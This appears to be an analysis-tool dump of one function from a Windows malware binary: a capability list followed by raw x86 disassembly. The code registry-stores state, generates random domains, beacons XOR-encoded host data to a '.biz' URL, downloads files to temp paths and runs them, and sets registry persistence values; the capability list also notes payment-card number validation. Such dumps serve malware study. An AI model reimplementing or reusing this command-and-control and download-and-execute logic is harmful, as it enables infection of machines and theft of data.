Function at 0x402818
Capabilities:
Create process on windows
Create tcp socket
Create thread
Delete file
Encode data using xor
Get common file path
Hash data with crc32
Query or enumerate registry value
Resolve dns
Set registry value
Validate payment card number using luhn algorithm
Write and execute a file
Write file on windows

Disassembly:
push ebp
mov ebp, esp
push edi
push esi
push ebx
mov eax, 0x1a20c
call fcn.00406420
sub esp, 0xc
push 0
lea eax, [ebp - 0x25c]
push eax
push 0x40f4fc
push 0xf003f
push 0
push 0
push 0
push str.SoftwareMicrosoftWindowsCurrentVersionInternet_SettingsConnection_Policy
push 0x80000002
call sub.ADVAPI32.DLL_RegCreateKeyExA
add esp, 0xc
test eax, eax
je 0x402864
mov dword [ebp - 0x25c], 0
sub esp, 0xc
push 0
lea eax, [ebp - 0x260]
push eax
push 0x40f4fc
push 0xf003f
push 0
push 0
push 0
push str.SoftwareMicrosoftWindowsCurrentVersionInternet_SettingsConnection_Policy
push 0x80000001
call sub.ADVAPI32.DLL_RegCreateKeyExA
mov dword [ebp - 0x258], 0x12
mov edx, dword [ebp - 0x25c]
add esp, 0xc
test edx, edx
je 0x4028cf
sub esp, 8
lea eax, [ebp - 0x258]
push eax
push 0x412170
push 0
push 0
push str.Default_Flags
push edx
call sub.ADVAPI32.DLL_RegQueryValueExA
add esp, 8
test eax, eax
je 0x40296f
sub esp, 8
lea eax, [ebp - 0x258]
push eax
push 0x412170
push 0
push 0
push str.Default_Flags
push dword [ebp - 0x260]
call sub.ADVAPI32.DLL_RegQueryValueExA
add esp, 8
test eax, eax
je 0x40296f
mov dword [0x412178], 0x33abd8f4
sub esp, 0xc
push 0x412170
call sub.KERNEL32.dll_GetSystemTimeAsFileTime
mov dword [0x41217c], 0
mov word [0x412180], 0x32
mov eax, dword [ebp - 0x25c]
add esp, 0xc
test eax, eax
je 0x40294c
sub esp, 8
push 0x12
push 0x412170
push 3
push 0
push str.Default_Flags
push eax
call sub.ADVAPI32.DLL_RegSetValueExA
add esp, 8
sub esp, 8
push 0x12
push 0x412170
push 3
push 0
push str.Default_Flags
push dword [ebp - 0x260]
call sub.ADVAPI32.DLL_RegSetValueExA
add esp, 8
jmp 0x402978
mov word [0x412180], 0x32
call fcn.0040140f
mov edx, 0xa
mov ecx, edx
mov edx, 0
div ecx
add edx, 5
mov dword [ebp - 0x26c], edx
test edx, edx
jne 0x4029a0
lea ebx, [ebp - 0x3cc]
jmp 0x4029d0
lea ebx, [ebp - 0x3cc]
call fcn.0040140f
mov edx, 0x1a
mov ecx, edx
mov edx, 0
div ecx
add edx, 0x61
mov byte [ebx], dl
inc ebx
mov eax, dword [ebp - 0x26c]
dec eax
mov dword [ebp - 0x26c], eax
test eax, eax
jne 0x4029a6
mov byte [ebx], 0x2e
inc ebx
call fcn.0040140f
mov edx, 0xb
mov ecx, edx
mov edx, 0
div ecx
sub esp, 8
push dword [edx*4 + 0x411520]
push ebx
call sub.KERNEL32.dll_lstrcpyA
add esp, 8
cmp dword [0x412040], 4
ja 0x402aa4
sub esp, 0xc
lea eax, [ebp - 0x3cc]
push eax
call sub.WS2_32.DLL_gethostbyname
mov ebx, eax
add esp, 0xc
test eax, eax
je 0x402aa4
mov eax, dword [eax + 0xc]
cmp dword [eax], 0
je 0x402aa4
sub esp, 0xc
push 0x50
call sub.WS2_32.DLL_htons
mov word [ebp - 0x282], ax
mov eax, dword [ebx + 0xc]
mov eax, dword [eax]
mov eax, dword [eax]
mov dword [ebp - 0x280], eax
mov word [ebp - 0x284], 2
sub esp, 8
push 6
push 1
push 2
call sub.WS2_32.DLL_socket
mov ebx, eax
add esp, 0x14
cmp eax, 0xffffffff
je 0x402aa4
lea edx, [ebp - 0x284]
mov ecx, 0x28
call fcn.00401d76
mov dword [ebp - 0x26c], eax
sub esp, 0xc
push ebx
call sub.WS2_32.DLL_closesocket
add esp, 0xc
cmp dword [ebp - 0x26c], 0
jne 0x402aa4
mov dword [0x412040], 0
jmp 0x402b7f
cmp dword [0x4121b0], 0
je 0x4039f6
call fcn.004016e1
sub esp, 0xc
push 0
push 0
push 0
push 4
push str.Mozilla_4.0__compatible__MSIE_6.0__Win32_
call dword [0x4121b0]
mov esi, eax
add esp, 0xc
test eax, eax
je 0x4039f6
mov dword [ebp - 0x26c], 0x9c40
push 4
lea ebx, [ebp - 0x26c]
push ebx
push 2
push eax
call dword [0x4121e0]
push 4
push ebx
push 6
push esi
call dword [0x4121e0]
push 4
push ebx
push 5
push esi
call dword [0x4121e0]
sub esp, 4
lea edx, [ebp - 0x3cc]
push edx
push str.http:___s_
lea ebx, [ebp - 0x2c8]
push ebx
call sub.USER32.dll_wsprintfA
add esp, 8
push 0
push 0x84280300
push 0
push 0
push ebx
push esi
call dword [0x4121c0]
mov edx, eax
add esp, 8
test eax, eax
je 0x402b6d
mov eax, dword [0x412040]
cmp eax, 4
ja 0x402b57
inc eax
mov dword [0x412040], eax
sub esp, 0xc
push edx
call dword [0x4121f0]
push esi
call dword [0x4121f0]
add esp, 0xc
jmp 0x402b7f
sub esp, 0xc
push esi
call dword [0x4121f0]
add esp, 0xc
jmp 0x4039f6
mov eax, dword [0x4121a0]
test eax, eax
je 0x402be6
mov dword [ebp - 0x258], 0
sub esp, 4
push 0
lea ecx, [ebp - 0x258]
push ecx
push 0
call eax
mov eax, dword [ebp - 0x258]
add eax, 0x1e
add esp, 4
and eax, 0xfffffff0
call fcn.00406420
lea eax, [esp + 0xf]
and eax, 0xfffffff0
mov dword [ebp - 0x1a204], eax
mov dword [eax], 0
sub esp, 4
push 0
lea eax, [ebp - 0x258]
push eax
push dword [ebp - 0x1a204]
call dword [0x4121a0]
add esp, 4
jmp 0x402bfc
sub esp, 0x20
lea eax, [esp + 0xf]
and eax, 0xfffffff0
mov dword [ebp - 0x1a204], eax
mov dword [eax], 0
sub esp, 8
push 0x4120e4
push dword [0x4120dc]
push dword [0x4120d8]
push dword [0x4120d4]
push str._u._u._u._s
lea edx, [ebp - 0x24c]
push edx
call sub.USER32.dll_wsprintfA
add esp, 0x14
lea ecx, [ebp - 0x24c]
push ecx
call sub.KERNEL32.dll_lstrlenA
add eax, 0x18
mov dword [ebp - 0x1a210], eax
mov edx, dword [ebp - 0x1a204]
mov eax, dword [edx]
mov ecx, dword [ebp - 0x1a210]
lea eax, [ecx + eax*4 + 0x21]
add esp, 0xc
and eax, 0xfffffff0
call fcn.00406420
lea eax, [esp + 0xf]
and eax, 0xfffffff0
mov dword [ebp - 0x1a214], eax
mov dword [ebp - 0x1a20c], eax
mov byte [eax], 2
call fcn.0040140f
mov dword [ebp - 0x1a208], eax
mov edx, dword [ebp - 0x1a214]
mov dword [edx + 1], eax
mov eax, dword [0x41217c]
mov dword [edx + 5], eax
mov word [edx + 9], 0x32
cmp byte [0x412020], 1
sbb edi, edi
not edi
and edi, 2
cmp dword [0x41217c], 1
sbb eax, eax
and eax, 4
cmp dword [0x4120e0], 2
sete bl
movzx ebx, bl
shl ebx, 3
cmp dword [ebp + 8], 1
sbb esi, esi
and esi, 0x10
cmp byte [section..bss], 1
sbb ecx, ecx
not ecx
and ecx, 0x20
cmp dword [0x412040], 1
sbb edx, edx
not edx
and edx, 0x40
or eax, edi
or eax, ebx
or eax, esi
or eax, ecx
or eax, edx
mov ecx, dword [ebp - 0x1a20c]
mov dword [ecx + 0xb], eax
mov eax, dword [0x4120c4]
mov word [ecx + 0xf], ax
mov eax, dword [0x4120c8]
mov word [ecx + 0x11], ax
mov eax, dword [0x4120cc]
mov word [ecx + 0x13], ax
mov byte [ecx + 0x15], 0
mov byte [ecx + 0x16], 0
mov edx, dword [0x412190]
test edx, edx
je 0x402df7
mov dword [ebp - 0x1a1d4], 0x19c
mov dword [ebp - 0x26c], 0x19c00
sub esp, 4
lea eax, [ebp - 0x270]
push eax
lea eax, [ebp - 0x26c]
push eax
lea eax, [ebp - 0x1a1d4]
push eax
call edx
add esp, 4
test eax, eax
jne 0x402df7
mov dword [ebp - 0x26c], 0
cmp dword [ebp - 0x270], 0
je 0x402df7
mov edx, 0
lea ebx, [ebp - 0x1a1d4]
lea eax, [edx + edx*2]
lea eax, [edx + eax*4]
shl eax, 3
sub eax, edx
lea eax, [ebx + eax*4 + 0x109]
sub esp, 8
push str.modem
push eax
call sub.KERNEL32.dll_lstrcmpiA
add esp, 8
test eax, eax
je 0x402ded
mov eax, dword [ebp - 0x26c]
lea edx, [eax + eax*2]
lea edx, [eax + edx*4]
shl edx, 3
sub edx, eax
lea edx, [ebx + edx*4 + 0x109]
sub esp, 8
push str.isdn
push edx
call sub.KERNEL32.dll_lstrcmpiA
add esp, 8
test eax, eax
je 0x402ded
mov edx, dword [ebp - 0x26c]
inc edx
mov dword [ebp - 0x26c], edx
cmp dword [ebp - 0x270], edx
jbe 0x402df7
jmp 0x402d82
mov eax, dword [ebp - 0x1a20c]
or dword [eax + 0xb], 1
mov eax, dword [ebp - 0x1a20c]
add eax, 0x17
mov dword [ebp - 0x250], eax
mov edx, dword [ebp - 0x1a204]
cmp dword [edx], 0
je 0x402e5e
mov ebx, 0
mov ecx, 0
mov eax, dword [ebp - 0x1a204]
mov edx, dword [ecx + eax + 4]
test edx, edx
je 0x402e50
cmp edx, 0x100007f
je 0x402e50
mov eax, dword [ebp - 0x250]
mov dword [eax], edx
add dword [ebp - 0x250], 4
add dword [ebp - 0x1a210], 4
mov edx, dword [ebp - 0x1a20c]
inc byte [edx + 0x15]
inc ebx
add ecx, 0x18
mov eax, dword [ebp - 0x1a204]
cmp dword [eax], ebx
ja 0x402e1b
sub esp, 8
lea edx, [ebp - 0x24c]
push edx
push dword [ebp - 0x250]
call sub.KERNEL32.dll_lstrcpyA
mov edx, dword [ebp - 0x1a20c]
add edx, 5
mov eax, edx
sub eax, dword [ebp - 0x1a20c]
add esp, 8
cmp dword [ebp - 0x1a210], eax
jbe 0x402ea5
mov ecx, dword [ebp - 0x1a208]
xor dword [edx], ecx
add eax, 4
add edx, 4
cmp dword [ebp - 0x1a210], eax
ja 0x402e8f
mov eax, dword [0x412178]
lea ebx, [ebp - 0x14c]
mov edx, ebx
call fcn.00401202
mov edx, dword [ebp - 0x1a210]
lea eax, [edx + edx + 0x61]
and eax, 0xfffffff0
call fcn.00406420
lea eax, [esp + 0xf]
and eax, 0xfffffff0
mov dword [ebp - 0x250], eax
sub esp, 4
push ebx
push str.http:___s.biz_d_N_
push eax
call sub.USER32.dll_wsprintfA
add eax, dword [ebp - 0x250]
mov dword [ebp - 0x254], eax
add esp, 0x10
cmp dword [ebp - 0x1a210], 0
je 0x402f33
mov ebx, 0
mov ecx, dword [ebp - 0x1a214]
movzx eax, byte [ebx + ecx]
sub esp, 4
push eax
push str._02X
push dword [ebp - 0x254]
call sub.USER32.dll_wsprintfA
inc ebx
add dword [ebp - 0x254], 2
add esp, 0x10
cmp ebx, dword [ebp - 0x1a210]
jne 0x402f02
mov eax, dword [ebp - 0x250]
mov ecx, 1
mov edx, 0
call fcn.00402030
mov ebx, eax
test eax, eax
je case.0x403068.2
cmp dword [ebp + 8], 0
jne 0x402f62
sub esp, 0xc
push 0
call sub.KERNEL32.dll_ExitProcess
mov dword [eax + 0x10], 1
mov dword [eax + 0xc], 0
mov eax, dword [ebp - 0x1a208]
mov dword [ebx + 8], eax
mov dword [ebp - 0x258], 0
lea edi, [ebp - 0x10c]
jmp 0x402f91
add dword [ebp - 0x258], eax
mov edx, dword [ebp - 0x258]
mov ecx, 0x100
sub ecx, edx
lea edx, [edi + edx]
mov eax, ebx
call fcn.0040263a
test eax, eax
jne 0x402f8b
mov eax, ebx
call fcn.00401d38
mov eax, dword [ebp - 0x258]
mov byte [eax + ebp - 0x10c], 0
mov ebx, edi
jmp 0x403907
mov esi, ebx
inc esi
cmp al, 0xa
jne 0x402fd5
mov byte [esi - 1], 0
jmp 0x402fdb
mov al, byte [esi]
test al, al
jne 0x402fca
lea eax, [ebx + 2]
mov ecx, 0x10
lea edx, [ebp - 0x250]
call fcn.0040106e
test eax, eax
je 0x403000
cmp dword [0x41217c], 0
jne 0x403000
mov dword [0x41217c], eax
sub esp, 0xc
push 0x412170
call sub.KERNEL32.dll_GetSystemTimeAsFileTime
mov eax, dword [ebp - 0x25c]
add esp, 0xc
test eax, eax
je 0x403036
sub esp, 8
push 0x12
push 0x412170
push 3
push 0
push str.Default_Flags
push eax
call sub.ADVAPI32.DLL_RegSetValueExA
add esp, 8
mov edi, 0x412170
sub esp, 8
push 0x12
push edi
push 3
push 0
push str.Default_Flags
push dword [ebp - 0x260]
call sub.ADVAPI32.DLL_RegSetValueExA
add esp, 8
mov al, byte [ebx]
sub eax, 0x30
cmp al, 5
ja case.0x403068.2
movzx eax, al
jmp dword [eax*4 + 0x411018]
mov dword [0x4122c0], 0
jmp 0x403905
cmp dword [ebp - 0x250], 0
jne 0x40309f
jmp case.0x403068.2
lea eax, [ecx + 1]
mov dword [ebp - 0x250], eax
cmp byte [ecx + 1], 0
je case.0x403068.2
mov ecx, dword [ebp - 0x250]
mov al, byte [ecx]
cmp al, 0x20
je 0x40308c
cmp al, 9
je 0x40308c
mov edx, 0x20
mov eax, ecx
call fcn.00401057
mov dword [ebp - 0x254], eax
test eax, eax
je 0x4030cc
inc eax
mov dword [ebp - 0x254], eax
mov eax, dword [ebp - 0x254]
mov edx, 0x55
call fcn.00401057
mov ebx, eax
mov eax, dword [ebp - 0x254]
mov edx, 0x43
call fcn.00401057
cmp eax, 1
sbb edx, edx
not edx
and edx, 2
test ebx, ebx
sete al
movzx eax, al
or edx, eax
mov dword [ebp - 0x1a200], edx
mov edx, dword [ebp - 0x250]
jmp 0x403111
inc edx
mov al, byte [edx]
cmp al, 0x20
je 0x403110
cmp al, 9
je 0x403110
sub esp, 8
push edx
lea eax, [ebp - 0x1a1d4]
push eax
call sub.KERNEL32.dll_lstrcpyA
mov edx, 0xd
call fcn.00401057
add esp, 8
test eax, eax
je 0x40313f
mov byte [eax], 0
lea eax, [ebp - 0x1a1d4]
mov edx, 0xa
call fcn.00401057
test eax, eax
je 0x403156
mov byte [eax], 0
lea eax, [ebp - 0x1a1d4]
mov edx, 0x20
call fcn.00401057
test eax, eax
je 0x40316d
mov byte [eax], 0
lea eax, [ebp - 0x1a1d4]
mov edx, 9
call fcn.00401057
test eax, eax
je 0x403184
mov byte [eax], 0
test byte [ebp - 0x1a200], 2
je 0x40319c
lea eax, [ebp - 0x1a1d4]
call fcn.004024ce
mov edi, eax
jmp 0x4031b3
lea eax, [ebp - 0x1a1d4]
mov ecx, 1
mov edx, 0
call fcn.00402030
mov edi, eax
test edi, edi
jne 0x4031c6
mov eax, str.urlinj_conn
call fcn.00402471
jmp 0x403905
sub esp, 8
lea edx, [ebp - 0x3cc]
push edx
push 0x104
call sub.KERNEL32.dll_GetTempPathA
add esp, 8
lea ebx, [ebp - 0x4d0]
push ebx
push 0
push 0x411012
lea ecx, [ebp - 0x3cc]
push ecx
call sub.KERNEL32.dll_GetTempFileNameA
sub esp, 4
push 0
push pe_nt_image_headers32
push 2
push 0
push 0
push 0x40000000
push ebx
call sub.KERNEL32.dll_CreateFileA
mov ebx, eax
add esp, 4
test eax, eax
je 0x403220
cmp eax, 0xffffffff
jne 0x403258
mov eax, edi
call fcn.00401d38
mov eax, str.urlinj_creat
call fcn.00402471
jmp 0x403905
cmp eax, 0xffffffff
je 0x403274
sub esp, 0xc
push 0
lea edx, [ebp - 0x270]
push edx
push eax
lea ecx, [ebp - 0x1a1d4]
push ecx
push ebx
call sub.KERNEL32.dll_WriteFile
add esp, 0xc
mov ecx, 0x1000
lea edx, [ebp - 0x1a1d4]
mov eax, edi
call fcn.0040263a
mov dword [ebp - 0x270], eax
test eax, eax
jne 0x403236
mov eax, edi
call fcn.00401d38
sub esp, 0xc
push ebx
call sub.KERNEL32.dll_CloseHandle
add esp, 0xc
cmp dword [ebp - 0x270], 0
je 0x4032b1
sub esp, 0xc
lea eax, [ebp - 0x4d0]
push eax
call sub.KERNEL32.dll_DeleteFileA
add esp, 0xc
mov eax, str.urlinj_xfer
call fcn.00402471
jmp 0x403905
mov al, byte [ebp - 0x1a200]
and eax, 1
mov byte [ebp - 0x1a1f9], al
je 0x403369
lea ebx, [ebp - 0x5d4]
push ebx
push 0
push 0x411012
lea edx, [ebp - 0x3cc]
push edx
call sub.KERNEL32.dll_GetTempFileNameA
sub esp, 4
push 0
push pe_nt_image_headers32
push 2
push 0
push 0
push 0x40000000
push ebx
call sub.KERNEL32.dll_CreateFileA
mov ebx, eax
add esp, 4
test eax, eax
je 0x403309
cmp eax, 0xffffffff
jne 0x40332a
sub esp, 0xc
lea eax, [ebp - 0x4d0]
push eax
call sub.KERNEL32.dll_DeleteFileA
add esp, 0xc
mov eax, str.urlinj_creat_f
call fcn.00402471
jmp 0x403905
sub esp, 0xc
push 0
lea eax, [ebp - 0x270]
push eax
push 0x600
push 0x407680
push ebx
call sub.KERNEL32.dll_WriteFile
push ebx
call sub.KERNEL32.dll_CloseHandle
lea eax, [ebp - 0x2c8]
push eax
call sub.KERNEL32.dll_GetStartupInfoA
lea ecx, [ebp - 0x5d4]
lea edx, [ebp - 0x4d0]
add esp, 0xc
jmp 0x403386
sub esp, 0xc
lea eax, [ebp - 0x2c8]
push eax
call sub.KERNEL32.dll_GetStartupInfoA
lea ecx, [ebp - 0x4d0]
mov edx, 0
add esp, 0xc
sub esp, 8
lea eax, [ebp - 0x284]
push eax
lea eax, [ebp - 0x2c8]
push eax
push 0
push 0
push 0
push 0
push 0
push 0
push edx
push ecx
call sub.KERNEL32.dll_CreateProcessA
add esp, 8
test eax, eax
jne 0x4033ed
sub esp, 0xc
lea eax, [ebp - 0x4d0]
push eax
call sub.KERNEL32.dll_DeleteFileA
add esp, 0xc
cmp byte [ebp - 0x1a1f9], 0
je 0x4033de
sub esp, 0xc
lea eax, [ebp - 0x5d4]
push eax
call sub.KERNEL32.dll_DeleteFileA
add esp, 0xc
mov eax, str.urlinj_fork
call fcn.00402471
jmp 0x403905
sub esp, 0xc
push dword [ebp - 0x280]
call sub.KERNEL32.dll_CloseHandle
add esp, 0xc
mov eax, 0x20c
call fcn.0040162c
mov ebx, eax
mov eax, dword [ebp - 0x284]
mov dword [ebx], eax
lea edx, [ebx + 4]
sub esp, 8
lea eax, [ebp - 0x4d0]
push eax
push edx
call sub.KERNEL32.dll_lstrcpyA
add esp, 8
cmp byte [ebp - 0x1a1f9], 0
je 0x40344c
lea edx, [ebx + 0x108]
sub esp, 8
lea eax, [ebp - 0x5d4]
push eax
push edx
call sub.KERNEL32.dll_lstrcpyA
add esp, 8
jmp 0x403453
mov byte [ebx + 0x108], 0
sub esp, 8
lea edi, [ebp - 0x270]
push edi
push 0
push ebx
push 0x401693
push 0x10000
push 0
call sub.KERNEL32.dll_CreateThread
sub esp, 4
push eax
call sub.KERNEL32.dll_CloseHandle
mov eax, dword [ebp - 0x254]
mov edx, 0x52
call fcn.00401057
add esp, 0xc
test eax, eax
je 0x403905
sub esp, 0xc
push 0
push edi
push 0
push 0xf003f
push 0
push 0
push 0
push str.SOFTWAREMicrosoftWindowsCurrentVersionExplorerAdvanced
push 0x80000002
call sub.ADVAPI32.DLL_RegCreateKeyExA
add esp, 0xc
test eax, eax
jne 0x403905
mov dword [ebp - 0x26c], 0x1e
lea eax, [ebp - 0x26c]
sub esp, 8
push 4
push eax
push 4
push 0
push str.g00d_d0gg
push dword [ebp - 0x270]
call sub.ADVAPI32.DLL_RegSetValueExA
sub esp, 4
push dword [ebp - 0x270]
call sub.ADVAPI32.DLL_RegCloseKey
add esp, 0xc
jmp 0x403905
mov dword [0x412178], 0x33abd8f4
mov eax, dword [ebp - 0x25c]
test eax, eax
je 0x40352e
sub esp, 8
push 0x12
push edi
push 3
push 0
push str.Default_Flags
push eax
call sub.ADVAPI32.DLL_RegSetValueExA
add esp, 8
sub esp, 8
push 0x12
push edi
push 3
push 0
push str.Default_Flags
push dword [ebp - 0x260]
call sub.ADVAPI32.DLL_RegSetValueExA
sub esp, 4
push 0x1388
call sub.KERNEL32.dll_Sleep
add esp, 0xc
jmp 0x402b7f
cmp dword [ebp - 0x250], 0
jne 0x40357e
jmp case.0x403068.2
lea eax, [edx + 1]
mov dword [ebp - 0x250], eax
cmp byte [edx + 1], 0
je case.0x403068.2
mov edx, dword [ebp - 0x250]
cmp byte [edx], 0x20
je 0x40356b
mov eax, edx
mov dword [ebp - 0x26c], edx
cmp byte [edx], 0x20
jle 0x4035a2
inc edx
mov dword [ebp - 0x26c], edx
cmp byte [edx], 0x20
jg 0x403596
mov byte [edx], 0
call fcn.004024ce
mov edi, eax
test eax, eax
jne 0x4035bf
mov dword [0x4122c0], 0
jmp 0x403905
mov eax, 0x400
call fcn.0040162c
mov dword [ebp - 0x1a1e8], eax
mov dword [ebp - 0x274], 0
mov ebx, 0x400
jmp 0x40362f
cmp eax, 0xffffffff
jne 0x403606
mov eax, edi
call fcn.00401d38
mov eax, dword [ebp - 0x1a1e8]
call fcn.0040167e
mov dword [0x4122c0], 0
jmp 0x403905
add eax, dword [ebp - 0x274]
mov dword [ebp - 0x274], eax
cmp ebx, eax
ja 0x40362f
add ebx, 0x400
mov edx, ebx
mov eax, dword [ebp - 0x1a1e8]
call fcn.004027f5
mov dword [ebp - 0x1a1e8], eax
mov edx, dword [ebp - 0x274]
mov ecx, ebx
sub ecx, edx
add edx, dword [ebp - 0x1a1e8]
mov eax, edi
call fcn.0040263a
test eax, eax
jne 0x4035e0
mov eax, edi
call fcn.00401d38
mov eax, dword [ebp - 0x274]
inc eax
cmp eax, ebx
jb 0x403670
lea edx, [ebx + 1]
mov eax, dword [ebp - 0x1a1e8]
call fcn.004027f5
mov dword [ebp - 0x1a1e8], eax
mov eax, dword [ebp - 0x274]
mov ecx, dword [ebp - 0x1a1e8]
mov byte [ecx + eax], 0
mov edx, dword [ebp - 0x274]
mov eax, ecx
call fcn.00401349
mov dword [ebp - 0x1a1ec], eax
cmp eax, dword [0x4122e0]
jne 0x4036a8
cmp dword [0x412050], 0
jne 0x4035ec
lea ebx, [ebp - 0x26c]
mov ecx, 0
mov edx, ebx
mov eax, dword [ebp - 0x1a1e8]
call fcn.0040106e
mov dword [ebp - 0x1a1e0], eax
mov eax, ebx
call fcn.004011ed
mov eax, dword [ebp - 0x26c]
cmp byte [eax], 0
je 0x4035ec
mov ecx, 0
mov edx, ebx
call fcn.0040106e
mov dword [ebp - 0x1a1e4], eax
mov eax, ebx
call fcn.004011ed
mov eax, dword [ebp - 0x26c]
cmp byte [eax], 0
je 0x4035ec
mov eax, 8
call fcn.0040162c
mov dword [ebp - 0x1a1f0], eax
mov dword [eax], 0
mov dword [eax + 4], 0
add eax, 4
mov dword [ebp - 0x1a1f8], eax
mov eax, dword [ebp - 0x26c]
mov dword [ebp - 0x270], eax
lea eax, [ebp - 0x270]
call fcn.004011ed
mov eax, dword [ebp - 0x26c]
cmp byte [eax], 0xa
je 0x4037fd
mov ecx, 0
lea edx, [ebp - 0x26c]
call fcn.0040106e
mov dword [ebp - 0x274], eax
jmp 0x403771
lea eax, [ebx + 1]
mov dword [ebp - 0x26c], eax
mov ebx, dword [ebp - 0x26c]
mov al, byte [ebx]
cmp al, 0x20
je 0x403768
cmp al, 9
je 0x403768
mov eax, dword [ebp - 0x270]
mov edi, eax
sub edi, ebx
add eax, 8
sub eax, ebx
call fcn.0040162c
mov dword [ebp - 0x1a1f4], eax
mov edx, ebx
mov ecx, edi
mov ebx, eax
add ebx, 8
test edi, edi
je 0x4037ba
dec ecx
je 0x4037c2
mov al, byte [edx]
mov byte [ebx], al
inc ebx
inc edx
test al, al
je 0x4037ba
dec ecx
je 0x4037c2
jmp 0x4037ab
test ecx, ecx
jne 0x4037cc
test edi, edi
je 0x4037c5
mov byte [ebx], 0
mov al, byte [edx]
inc edx
test al, al
jne 0x4037c5
mov eax, dword [ebp - 0x274]
mov edx, dword [ebp - 0x1a1f4]
mov dword [edx], eax
mov ecx, dword [ebp - 0x1a1f8]
mov dword [ecx], edx
add edx, 4
mov dword [ebp - 0x1a1f8], edx
mov edx, dword [ebp - 0x1a1f0]
mov eax, dword [edx + 4]
mov ecx, dword [ebp - 0x1a1f4]
mov dword [ecx + 4], eax
mov eax, dword [ebp - 0x270]
mov dword [ebp - 0x26c], eax
cmp byte [eax], 0
jne 0x40372a
mov eax, dword [ebp - 0x1a1e8]
call fcn.0040167e
mov eax, dword [ebp - 0x1a1e0]
mov dword [0x4122c0], eax
mov edx, dword [ebp - 0x1a1e4]
mov dword [0x4122d0], edx
mov edi, dword [0x412050]
mov ecx, dword [ebp - 0x1a1f0]
mov dword [0x412050], ecx
mov eax, dword [ebp - 0x1a1ec]
mov dword [0x4122e0], eax
sub esp, 8
lea eax, [ebp - 0x274]
push eax
push 0
push 0
push 0x402353
push 0x10000
push 0
call sub.KERNEL32.dll_CreateThread
sub esp, 4
push eax
call sub.KERNEL32.dll_CloseHandle
add esp, 0xc
test edi, edi
je 0x403905
cmp dword [edi], 0
jne 0x403905
mov eax, dword [edi + 4]
test eax, eax
je 0x4038a1
mov ebx, dword [eax + 4]
call fcn.0040167e
cmp dword [edi + 4], ebx
je 0x4038a1
mov eax, ebx
jmp 0x403890
mov eax, edi
call fcn.0040167e
jmp 0x403905
cmp dword [ebp - 0x250], 0
jne 0x4038c4
jmp case.0x403068.2
lea eax, [ebx + 1]
mov dword [ebp - 0x250], eax
cmp byte [ebx + 1], 0
je case.0x403068.2
mov ebx, dword [ebp - 0x250]
cmp byte [ebx], 0x20
je 0x4038b5
mov ecx, 0
lea edx, [ebp - 0x254]
mov eax, ebx
call fcn.0040106e
cmp eax, 0x258
jbe 0x4038ed
mov eax, 0x258
lea eax, [eax + eax*4]
lea eax, [eax + eax*4]
lea eax, [eax + eax*4]
shl eax, 3
sub esp, 0xc
push eax
call sub.KERNEL32.dll_Sleep
add esp, 0xc
mov ebx, esi
mov al, byte [ebx]
test al, al
jne 0x402fc8
jmp 0x403a03
sub esp, 0xc
lea eax, [ebp - 0x268]
push eax
call sub.KERNEL32.dll_GetSystemTimeAsFileTime
mov ebx, dword [ebp - 0x268]
mov esi, dword [ebp - 0x264]
mov eax, ebx
mov edx, esi
sub eax, dword [0x412170]
sbb edx, dword [0x412174]
sub esp, 4
push 0
push 0x989680
push edx
push eax
call fcn.00406450
add esp, 0x20
cmp eax, 0x2a2ff
jbe 0x4039f6
mov dword [0x412170], ebx
mov dword [0x412174], esi
mov al, byte [ebp - 0x14c]
test al, al
jne 0x40397d
mov ebx, 0xffffffff
jmp 0x4039a6
lea ecx, [ebp - 0x14c]
mov ebx, 0xffffffff
movsx eax, al
movzx edx, bl
xor eax, edx
mov edx, ebx
shr edx, 8
mov ebx, edx
xor ebx, dword [eax*4 + 0x4110e0]
mov al, byte [ecx + 1]
inc ecx
test al, al
jne 0x403988
mov eax, ebx
not eax
mov dword [0x412178], eax
mov eax, dword [ebp - 0x25c]
test eax, eax
je 0x4039d5
sub esp, 8
push 0x12
push 0x412170
push 3
push 0
push str.Default_Flags
push eax
call sub.ADVAPI32.DLL_RegSetValueExA
add esp, 8
sub esp, 8
push 0x12
push 0x412170
push 3
push 0
push str.Default_Flags
push dword [ebp - 0x260]
call sub.ADVAPI32.DLL_RegSetValueExA
add esp, 8
cmp dword [ebp + 8], 0
jne 0x403a03
mov eax, 0x7530
jmp 0x403a08
mov eax, 0x927c0
sub esp, 0xc
push eax
call sub.KERNEL32.dll_Sleep
add esp, 0xc
jmp 0x402978